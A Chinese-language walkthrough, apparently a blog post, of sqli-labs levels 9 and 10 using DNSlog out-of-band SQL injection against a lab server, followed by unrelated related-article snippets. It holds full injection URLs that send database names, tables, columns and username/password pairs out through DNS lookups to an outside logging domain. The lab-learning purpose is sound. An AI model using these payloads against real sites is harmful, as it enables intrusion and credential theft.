sqli-labs靶场less-9和less-10

devtools/2024/10/9 1:32:09/

less9_0">sqli-labs靶场less-9

本文只展示如何利用dnslog注入通过本关,注入原理可以参考我另外一篇文章

DSNlog注入原理
在这里插入图片描述

1、确定闭合方式

http://192.168.140.130/sq/Less-9/?id=1

发现id的值不论为任何值,页面回显都是一致的You are in…
判断不存在布尔注入,报错注入
用dnslog注入,构造1' and sleep(2) --+确定闭合方式
可以将单引号修改为",'),')),"),"))等,查看页面回显时间,最终确定语句为

http://192.168.140.130/sq/Less-9/?id=1’ and sleep(2) --+

页面回显延迟,确定闭合方式为' '

2、平台选取

打开网址 https://eyes.sh/login ,注册账号

也可以使用其他平台,更多平台可以参考我上面提到的连接
在这里插入图片描述
登入进去

在这里插入图片描述

3、dnslog注入

构造语句

http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select database()),‘.zifei.eyes.sh/test.txt’))) --+
concat是为了将里面的值拼接起来
zifeiyu.eyes.sh是自己在eses.sh中注册

查看网页得到数据库

在这里插入图片描述

数据库版本

在这里插入图片描述

爆出所有数据库

http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select schema_name from information_schema.schemata limit 0,1),‘.zifei.eyes.sh/test.txt’))) --+
http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select schema_name from information_schema.schemata limit 1,1),‘.zifei.eyes.sh/test.txt’))) --+
http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select schema_name from information_schema.schemata limit 2,1),‘.zifei.eyes.sh/test.txt’))) --+
http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select schema_name from information_schema.schemata limit 3,1),‘.zifei.eyes.sh/test.txt’))) --+
在这里插入图片描述
在这里插入图片描述
此处图片只列举一些

爆出security的所有表

  • http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select table_name from information_schema.tables where table_schema=database() limit 1,1),‘.zifei.eyes.sh/test.txt’))) --+
  • http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select table_name from information_schema.tables where table_schema=database() limit 2,1),‘.zifei.eyes.sh/test.txt’))) --+
  • http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select table_name from information_schema.tables where table_schema=database() limit 3,1),‘.zifei.eyes.sh/test.txt’))) --+

在这里插入图片描述

爆出列名

  • http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),‘.zifei.eyes.sh/test.txt’))) --+
  • http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),‘.zifei.eyes.sh/test.txt’))) --+
  • http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),‘.zifei.eyes.sh/test.txt’))) --+

在这里插入图片描述

爆出数据

http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select concat(username,‘.’,password) from security.users limit 0,1),‘.zifei.eyes.sh/test.txt’))) --+

只需要修改0的值,便可以得到所有的值
在这里插入图片描述

less10_62">less-10

本关与第九关用dnslog通过方式一样,只不过闭合方式为";其他一致


http://www.ppmy.cn/devtools/123125.html

相关文章

HarmonyOS鸿蒙 Next 实现协调布局效果

HarmonyOS鸿蒙 Next 实现协调布局效果 ​ 假期愉快! 最近大A 的涨势实在是红的让人晕头转向,不知道各位收益如何,这会是在路上,还是已经到目的地了? 言归正传,最近有些忙,关于鸿蒙的实践系列有些脱节了,…

音视频入门基础:FLV专题(13)——FFmpeg源码中,解析任意Type值的SCRIPTDATAVALUE类型的实现

一、SCRIPTDATAVALUE类型 从《音视频入门基础:FLV专题(9)——Script Tag简介》中可以知道,根据《video_file_format_spec_v10_1.pdf》第80到81页,SCRIPTDATAVALUE类型由一个8位(1字节)的Type和…

苹果盛宴:iPhone 16系列领衔,智能穿戴新潮流来袭

在科技界备受瞩目的苹果秋季发布会上,众多新品悉数亮相,从全新的Apple Watch系列到AirPods系列,再到备受期待的iPhone 16系列,每一款产品都以其独特的创新和卓越的性能,再次定义了智能设备的高标准。 本文将带您领略这…

时尚界的技术革新:Spring Boot与“衣依”服装销售

4系统概要设计 4.1概述 本系统采用B/S结构(Browser/Server,浏览器/服务器结构)和基于Web服务两种模式,是一个适用于Internet环境下的模型结构。只要用户能连上Internet,便可以在任何时间、任何地点使用。系统工作原理图如图4-1所示: 图4-1系统工作原理…

【图论】迪杰特斯拉算法

文章目录 迪杰特斯拉算法主要特点基本思想算法步骤示例 实现迪杰斯特拉算法基本步骤算法思路 总结 迪杰特斯拉算法 迪杰特斯拉算法是由荷兰计算机科学家艾兹赫尔迪杰特斯拉(Edsger W. Dijkstra)在1956年提出的,用于解决单源最短路径问题的经…

whereis命令:查找命令的路径

一、命令简介 ​whereis​ 命令用于查找命令的:可执行文件、帮助文件和源代码文件。 例如 $ whereis ls ls: /usr/bin/ls /usr/share/man/man1/ls.1.gz找到了 ls 命令的可执行文件、帮助文件的位置。 ‍ 二、命令参数 命令格式 whereis [选项] [命令名称]选项…

【网络】用网线连接两台电脑实现远程桌面

目录 1. 准备工作1.1 硬件要求1.2 软件要求 2. 网络连接2.1 直接连接2.2 通过路由器连接 3. 配置IP地址3.1 设置IP地址3.2 检查连接 4. 启用远程桌面4.1 启用远程桌面4.2 添加用户4.3 防火墙设置 5. 远程连接5.1 使用远程桌面连接5.2 使用快捷方式 6. 常见问题解决7. 额外建议结…

Comfyui segmentAnythingUltra V2报错

🎅问题表现及解决方案 Comfyui segmentAnythingUltra V2报错,找不到VITMatte模型,这个报错报的比较模糊,所以花了一点时间找模型。 简单来说,到huggingface上: https://huggingface.co/hustvl/vitmatte-s…